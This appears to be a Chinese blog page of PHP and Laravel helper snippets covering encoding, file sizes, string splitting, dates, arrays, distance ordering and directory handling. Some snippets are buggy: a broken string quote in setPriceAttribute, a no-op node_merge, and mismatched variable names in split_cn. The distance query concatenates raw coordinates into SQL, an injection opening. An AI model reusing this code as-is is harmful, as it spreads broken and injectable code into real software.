mb_convert_encoding($str, $item, $item);</span><br><span class="line">               <span class="keyword">if</span> (md5($tmp) == md5($str)) &#123;</span><br><span class="line">                            <span class="keyword">return</span> mb_convert_encoding($str, $charset, $item);</span><br><span class="line">                &#125;</span><br><span class="line">           &#125;</span><br><span class="line">                   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">       &#125;</span><br><span class="line">   文件大小计算</span><br><span class="line">   </span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">format_size</span>(<span class="params">$size</span>)</span></span><br><span class="line"><span class="function">   </span>&#123;</span><br><span class="line">       $unit = <span class="string">'B'</span>;</span><br><span class="line">       <span class="keyword">if</span> ($size &gt;= <span class="number">1024</span>) &#123;</span><br><span class="line">           $size /= <span class="number">1024</span>;</span><br><span class="line">           $unit = <span class="string">'KB'</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">if</span> ($size &gt;= <span class="number">1024</span>) &#123;</span><br><span class="line">           $size /= <span class="number">1024</span>;</span><br><span class="line">           $unit = <span class="string">'MB'</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">if</span> ($size &gt;= <span class="number">1024</span>) &#123;</span><br><span class="line">           $size /= <span class="number">1024</span>;</span><br><span class="line">           $unit = <span class="string">'GB'</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">if</span> ($size &gt;= <span class="number">1024</span>) &#123;</span><br><span class="line">           $size /= <span class="number">1024</span>;</span><br><span class="line">           $unit = <span class="string">'TB'</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">return</span> round($size) . $unit;</span><br><span class="line">   &#125;</span><br><span class="line">   中文字符串拆分</span><br><span class="line">   </span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">split_cn</span>(<span class="params">$arr</span>)</span>&#123;</span><br><span class="line">       $re=array(); <span class="comment">//定义接受字符串的数组</span></span><br><span class="line">       <span class="keyword">for</span>($i=<span class="number">0</span>;$i&lt;mb_strlen($arr);$i++)&#123;</span><br><span class="line">           <span class="keyword">if</span>(mb_substr($arr,$i,<span class="number">1</span>,<span class="string">"utf-8"</span>)==<span class="string">''</span>)&#123;</span><br><span class="line">               <span class="keyword">continue</span>;</span><br><span class="line">           &#125;</span><br><span class="line">           $res[]=mb_substr($arr,$i,<span class="number">1</span>,<span class="string">"utf-8"</span>); <span class="comment">//将单个字符存到数组当中</span></span><br><span class="line">        &#125;</span><br><span class="line">       <span class="keyword">return</span> $res;</span><br><span class="line">   &#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/31987</span></span><br></pre></td></tr></table></figure>
<h3 id="存储货币"><a href="#存储货币" class="headerlink" title="存储货币"></a>存储货币</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">setPriceAttribute</span>(<span class="params">$value</span>)</span></span><br><span class="line"><span class="function">   </span>&#123;</span><br><span class="line">       $<span class="keyword">this</span>-&gt;attributes[<span class="string">'price] = intval($value * 100);//以分为单位https://learnku.com/articles/31968</span></span><br><span class="line"><span class="string">   &#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">   public function getPriceAttribute($value)</span></span><br><span class="line"><span class="string">   &#123;</span></span><br><span class="line"><span class="string">       return $value / 100;</span></span><br><span class="line"><span class="string">   &#125;</span></span><br></pre></td></tr></table></figure>
<h3 id="MySQL-Blob-类型"><a href="#MySQL-Blob-类型" class="headerlink" title="MySQL Blob 类型"></a>MySQL Blob 类型</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">$filename = <span class="string">'filename.txt'</span>;</span><br><span class="line">$headers = [</span><br><span class="line">    <span class="string">'Content-Encoding'</span> =&gt; <span class="string">'UTF-8'</span>,</span><br><span class="line">    <span class="string">'Content-Type'</span> =&gt; <span class="string">'text/html;charset=UTF-8'</span>,<span class="comment">//application/x-msdownload </span></span><br><span class="line">    <span class="string">'Content-Disposition'</span> =&gt; <span class="string">"attachment; filename=\"$filename\""</span>,</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">response()-&gt;stream(<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    $handle = fopen(<span class="string">'php://output'</span>, <span class="string">'w'</span>);</span><br><span class="line">    fwrite($handle, <span class="string">'something contents'</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Close the output stream</span></span><br><span class="line">    fclose($handle);</span><br><span class="line">&#125;, <span class="number">200</span>, $headers)-&gt;send();</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//learnku.com/laravel/t/32066</span></span><br></pre></td></tr></table></figure>
<h3 id="中文分割"><a href="#中文分割" class="headerlink" title="中文分割"></a>中文分割</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">split_cn</span>(<span class="params">$arr</span>)</span>&#123;</span><br><span class="line">    $re=array(); <span class="comment">//定义接受字符串的数组</span></span><br><span class="line">    <span class="keyword">for</span>($i=<span class="number">0</span>;$i&lt;mb_strlen($arr);$i++)&#123;</span><br><span class="line">        <span class="keyword">if</span>(mb_substr($arr,$i,<span class="number">1</span>,<span class="string">"utf-8"</span>)==<span class="string">''</span>)&#123;</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        $res[]=mb_substr($arr,$i,<span class="number">1</span>,<span class="string">"utf-8"</span>); <span class="comment">//将单个字符存到数组当中</span></span><br><span class="line">     &#125;</span><br><span class="line">    <span class="keyword">return</span> $res;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"> preg_split(<span class="string">'//u'</span>,<span class="string">'中文'</span>, <span class="literal">null</span>, PREG_SPLIT_NO_EMPTY)</span><br><span class="line">=&gt; [</span><br><span class="line">     <span class="string">"中"</span>,</span><br><span class="line">     <span class="string">"文"</span>,</span><br><span class="line">   ]</span><br><span class="line">    split_cn(<span class="string">'中文'</span>)    </span><br><span class="line">   [                  </span><br><span class="line">     <span class="string">"中"</span>,             </span><br><span class="line">     <span class="string">"文"</span>,             </span><br><span class="line">   ]                  </span><br><span class="line">   preg_split(<span class="string">'/(?&lt;!^)(?!$)/u'</span>, $string );  https:<span class="comment">//www.php.net/manual/zh/function.mb-split.php</span></span><br></pre></td></tr></table></figure>
<h3 id="文件大小"><a href="#文件大小" class="headerlink" title="文件大小"></a>文件大小</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">format_size</span>(<span class="params">$size</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $unit = <span class="string">'B'</span>;</span><br><span class="line">    <span class="keyword">if</span> ($size &gt;= <span class="number">1024</span>) &#123;</span><br><span class="line">        $size /= <span class="number">1024</span>;</span><br><span class="line">        $unit = <span class="string">'KB'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ($size &gt;= <span class="number">1024</span>) &#123;</span><br><span class="line">        $size /= <span class="number">1024</span>;</span><br><span class="line">        $unit = <span class="string">'MB'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ($size &gt;= <span class="number">1024</span>) &#123;</span><br><span class="line">        $size /= <span class="number">1024</span>;</span><br><span class="line">        $unit = <span class="string">'GB'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ($size &gt;= <span class="number">1024</span>) &#123;</span><br><span class="line">        $size /= <span class="number">1024</span>;</span><br><span class="line">        $unit = <span class="string">'TB'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> round($size) . $unit;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* 格式化字节大小</span></span><br><span class="line"><span class="comment">* @param  number $size      字节数</span></span><br><span class="line"><span class="comment">* @param  string $delimiter 数字和单位分隔符</span></span><br><span class="line"><span class="comment">* @return string            格式化后的带单位的大小</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_byte</span>(<span class="params">$size, $delimiter = <span class="string">''</span></span>) </span>&#123;</span><br><span class="line">$units = array(<span class="string">'B'</span>, <span class="string">'KB'</span>, <span class="string">'MB'</span>, <span class="string">'GB'</span>, <span class="string">'TB'</span>, <span class="string">'PB'</span>);</span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">0</span>; $size &gt;= <span class="number">1024</span> &amp;&amp; $i &lt; <span class="number">5</span>; $i++) $size /= <span class="number">1024</span>;</span><br><span class="line"><span class="keyword">return</span> round($size, <span class="number">2</span>) . $delimiter . $units[$i];</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/31985</span></span><br></pre></td></tr></table></figure>
<h3 id="时间差"><a href="#时间差" class="headerlink" title="时间差"></a>时间差</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">timediff</span>(<span class="params">$begin_time,$end_time</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">        <span class="keyword">if</span>($begin_time &lt; $end_time)&#123;</span><br><span class="line">            $starttime = $begin_time;</span><br><span class="line">            $endtime = $end_time;</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            $starttime = $end_time;</span><br><span class="line">            $endtime = $begin_time;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//计算天数</span></span><br><span class="line">        $timediff = $endtime-$starttime;</span><br><span class="line">        $days = intval($timediff/<span class="number">86400</span>);</span><br><span class="line">        <span class="comment">//计算小时数</span></span><br><span class="line">        $remain = $timediff%<span class="number">86400</span>;</span><br><span class="line">        $hours = intval($remain/<span class="number">3600</span>);</span><br><span class="line">        <span class="comment">//计算分钟数</span></span><br><span class="line">        $remain = $remain%<span class="number">3600</span>;</span><br><span class="line">        $mins = intval($remain/<span class="number">60</span>);</span><br><span class="line">        <span class="comment">//计算秒数</span></span><br><span class="line">        $secs = $remain%<span class="number">60</span>;</span><br><span class="line">        $res = array(<span class="string">"day"</span> =&gt; $days,<span class="string">"hour"</span> =&gt; $hours,<span class="string">"min"</span> =&gt; $mins,<span class="string">"sec"</span> =&gt; $secs);</span><br><span class="line">        <span class="keyword">return</span> $res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="数组分组"><a href="#数组分组" class="headerlink" title="数组分组"></a>数组分组</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">array_group_by</span>(<span class="params">$arr, $key</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $grouped = [];</span><br><span class="line">    foreach ($arr <span class="keyword">as</span> $value) &#123;</span><br><span class="line">        $grouped[$value[$key]][] = $value;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (func_num_args() &gt; <span class="number">2</span>) &#123;</span><br><span class="line">        $args = func_get_args();</span><br><span class="line">        foreach ($grouped <span class="keyword">as</span> $key =&gt; $value) &#123;</span><br><span class="line">            $parms = array_merge([$value], array_slice($args, <span class="number">2</span>, func_num_args()));</span><br><span class="line">            $grouped[$key] = call_user_func_array(<span class="string">'array_group_by'</span>, $parms);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $grouped;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="日期获取星期"><a href="#日期获取星期" class="headerlink" title="日期获取星期"></a>日期获取星期</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_week</span>(<span class="params">$date</span>)</span>&#123;    <span class="comment">//强制转换日期格式</span></span><br><span class="line">    $date_str=date(<span class="string">'Y-m-d'</span>,strtotime($date));    <span class="comment">//封装成数组</span></span><br><span class="line">    $arr=explode(<span class="string">"-"</span>, $date_str);</span><br><span class="line">    $year=$arr[<span class="number">0</span>];    <span class="comment">//月，输出2位整型，不够2位右对齐</span></span><br><span class="line">    $month=sprintf(<span class="string">'%02d'</span>,$arr[<span class="number">1</span>]);</span><br><span class="line">    $day=sprintf(<span class="string">'%02d'</span>,$arr[<span class="number">2</span>]);    <span class="comment">//时分秒默认赋值为0；</span></span><br><span class="line">    $hour = $minute = $second = <span class="number">0</span>;    <span class="comment">//转换成时间戳</span></span><br><span class="line">    $strap = mktime($hour,$minute,$second,$month,$day,$year);    <span class="comment">//获取数字型星期几</span></span><br><span class="line">    $number_wk=date(<span class="string">"w"</span>,$strap);    <span class="comment">//自定义星期数组</span></span><br><span class="line">    $weekArr=array(<span class="string">"星期日"</span>,<span class="string">"星期一"</span>,<span class="string">"星期二"</span>,<span class="string">"星期三"</span>,<span class="string">"星期四"</span>,<span class="string">"星期五"</span>,<span class="string">"星期六"</span>);    <span class="comment">//获取数字对应的星期</span></span><br><span class="line">    <span class="keyword">return</span> $weekArr[$number_wk];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="Laravel-距离排序"><a href="#Laravel-距离排序" class="headerlink" title="Laravel 距离排序"></a>Laravel 距离排序</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">getDistance</span>(<span class="params">$lat, $lng</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $distance = <span class="string">"ACOS(SIN(( $lat * 3.1415) / 180 ) *SIN((lat * 3.1415) / 180 ) +COS(( $lat* 3.1415) / 180 ) * COS((lat * 3.1415) / 180 ) *COS(( $lng* 3.1415) / 180 - (lng * 3.1415) / 180 ) ) * 6380"</span>;</span><br><span class="line">    $list     = $<span class="keyword">this</span>-&gt;model-&gt;select(<span class="string">'*'</span>)-&gt;addSelect(\DB::raw($distance . <span class="string">' as distance'</span>))-&gt;orderBy(<span class="string">'distance'</span>, <span class="string">'ASC'</span>)-&gt;get()-&gt;toArray();</span><br><span class="line">    dd($list);</span><br><span class="line">&#125;</span><br><span class="line">distance 是计算出来的距离单位是公里</span><br><span class="line">$model = DB::table(<span class="string">'table_name'</span>)-&gt;select(<span class="string">''</span>);</span><br><span class="line">$model-&gt;addSelect(\DB::raw(<span class="string">"acos(cos("</span> . $lat . <span class="string">"*pi()/180)*cos(lat*pi()/180)*cos("</span> . $lng . <span class="string">"*pi()/180-lng*pi()/180)+sin("</span> . $lat . <span class="string">"*pi()/180)*sin(lat * pi()/180)) * 6367000 AS distance"</span>))-&gt;orderBy(<span class="string">'distance'</span>,<span class="string">'ASC'</span>)-&gt;get();</span><br><span class="line">https:<span class="comment">//learnku.com/articles/32166</span></span><br></pre></td></tr></table></figure>
<h3 id="二维数组去重"><a href="#二维数组去重" class="headerlink" title="二维数组去重"></a>二维数组去重</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">assoc_unique</span>(<span class="params">&amp;$arr, $key</span>)</span>&#123;</span><br><span class="line">    $rAr = array();</span><br><span class="line">    <span class="keyword">for</span>($i=<span class="number">0</span>;$i&lt;count($arr);$i++) &#123;</span><br><span class="line">        <span class="keyword">if</span>(!isset($rAr[$arr[$i][$key]])) &#123;</span><br><span class="line">            $rAr[$arr[$i][$key]]=$arr[$i];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> array_values($rAr);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="排序"><a href="#排序" class="headerlink" title="排序"></a>排序</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">list_sort_by</span>(<span class="params">$list,$field, $sortby=<span class="string">'asc'</span></span>) </span>&#123;</span><br><span class="line">   <span class="keyword">if</span>(is_array($list))&#123;</span><br><span class="line">       $refer = $resultSet = array();</span><br><span class="line">       foreach ($list <span class="keyword">as</span> $i =&gt; $data)</span><br><span class="line">           $refer[$i] = &amp;$data[$field];</span><br><span class="line">       <span class="keyword">switch</span> ($sortby) &#123;</span><br><span class="line">           <span class="keyword">case</span> <span class="string">'asc'</span>: <span class="comment">// 正向排序</span></span><br><span class="line">                asort($refer);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">           <span class="keyword">case</span> <span class="string">'desc'</span>:<span class="comment">// 逆向排序</span></span><br><span class="line">                arsort($refer);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">           <span class="keyword">case</span> <span class="string">'nat'</span>: <span class="comment">// 自然排序https://learnku.com/articles/32011#1c030d</span></span><br><span class="line">                natcasesort($refer);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       foreach ( $refer <span class="keyword">as</span> $key=&gt; $val)</span><br><span class="line">           $resultSet[] = &amp;$list[$key];</span><br><span class="line">       <span class="keyword">return</span> $resultSet;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="字符串转换成数组"><a href="#字符串转换成数组" class="headerlink" title="字符串转换成数组"></a>字符串转换成数组</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">strToArray</span>(<span class="params">$string</span>) </span>&#123;</span><br><span class="line">    $strlen = mb_strlen($string);</span><br><span class="line">    <span class="keyword">while</span> ($strlen) &#123;</span><br><span class="line">        $array[] = mb_substr($string, <span class="number">0</span>, <span class="number">1</span>, <span class="string">"utf8"</span>);</span><br><span class="line">        $string = mb_substr($string, <span class="number">1</span>, $strlen, <span class="string">"utf8"</span>);</span><br><span class="line">        $strlen = mb_strlen($string);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $array;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="创建图片上传目录"><a href="#创建图片上传目录" class="headerlink" title="创建图片上传目录"></a>创建图片上传目录</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">my_mkdir</span>(<span class="params">$Folder</span>)</span>&#123; <span class="comment">// 创建图片上传目录和缩略图目录</span></span><br><span class="line">    <span class="keyword">if</span>(!is_dir($Folder))&#123;</span><br><span class="line">        $dir = explode(<span class="string">'/'</span>,$Folder);</span><br><span class="line">        foreach($dir <span class="keyword">as</span> $v)&#123;</span><br><span class="line">            <span class="keyword">if</span>($v)&#123;</span><br><span class="line">                $d .= $v . <span class="string">'/'</span>;</span><br><span class="line">                <span class="keyword">if</span>(!is_dir($d))&#123;</span><br><span class="line">                    $state = mkdir($d);</span><br><span class="line">                    <span class="keyword">if</span>(!$state)&#123;</span><br><span class="line">                        die(<span class="string">'在创建目录'</span> . $d . <span class="string">'时出错！'</span>);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="删除目录"><a href="#删除目录" class="headerlink" title="删除目录"></a>删除目录</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 删除目录及目录下所有文件或删除指定文件</span></span><br><span class="line"><span class="comment"> * @param str $path   待删除目录路径</span></span><br><span class="line"><span class="comment"> * @param int $delDir 是否删除目录，1或true删除目录，0或false则只删除文件保留目录（包含子目录）</span></span><br><span class="line"><span class="comment"> * @return bool 返回删除状态</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">del_dir_and_file</span>(<span class="params">$path, $delDir = FALSE</span>) </span>&#123;</span><br><span class="line">    $handle = opendir($path);</span><br><span class="line">    <span class="keyword">if</span> ($handle) &#123;</span><br><span class="line">        <span class="keyword">while</span> (<span class="literal">false</span> !== ( $item = readdir($handle) )) &#123;</span><br><span class="line">            <span class="keyword">if</span> ($item != <span class="string">"."</span> &amp;&amp; $item != <span class="string">".."</span>)</span><br><span class="line">                is_dir(<span class="string">"$path/$item"</span>) ? del_dir_and_file(<span class="string">"$path/$item"</span>, $delDir) : unlink(<span class="string">"$path/$item"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        closedir($handle);</span><br><span class="line">        <span class="keyword">if</span> ($delDir)</span><br><span class="line">            <span class="keyword">return</span> rmdir($path);</span><br><span class="line">    &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (file_exists($path)) &#123;</span><br><span class="line">            <span class="keyword">return</span> unlink($path);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> FALSE;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="xml-转为-array"><a href="#xml-转为-array" class="headerlink" title="xml 转为 array"></a>xml 转为 array</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">xmlToArray</span>(<span class="params">$xml</span>) </span>&#123;</span><br><span class="line">    <span class="comment">//将XML转为array</span></span><br><span class="line">    $array_data = json_decode(json_encode(simplexml_load_string($xml, <span class="string">'SimpleXMLElement'</span>, LIBXML_NOCDATA)), <span class="literal">true</span>);</span><br><span class="line">    <span class="keyword">return</span> $array_data;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="递归重组"><a href="#递归重组" class="headerlink" title="递归重组"></a>递归重组</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">node_merge</span>(<span class="params">$attr, $arr</span>) </span>&#123;</span><br><span class="line">    foreach($attr <span class="keyword">as</span> $v)&#123;</span><br><span class="line">        <span class="keyword">if</span> (is_array($arr))&#123;</span><br><span class="line">            $v[<span class="string">'access'</span>] = in_array($v[<span class="string">'id'</span>],$arr) ? <span class="number">1</span>: <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $attr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="获取文件信息"><a href="#获取文件信息" class="headerlink" title="获取文件信息"></a>获取文件信息</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_file_info</span>(<span class="params">$filepath=<span class="string">''</span>, $key=<span class="string">''</span></span>)</span>&#123;</span><br><span class="line">    <span class="comment">//打开文件，r表示以只读方式打开</span></span><br><span class="line">    $handle = fopen($filepath,<span class="string">"r"</span>);</span><br><span class="line">    <span class="comment">//获取文件的统计信息</span></span><br><span class="line">    $fstat = fstat($handle);</span><br><span class="line"></span><br><span class="line">    fclose($handle);</span><br><span class="line">    $fstat[<span class="string">'filename'</span>] = basename($filepath);</span><br><span class="line">    <span class="keyword">if</span>(!empty($key))&#123;</span><br><span class="line">        <span class="keyword">return</span> $fstat[$key];</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> $fstat;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
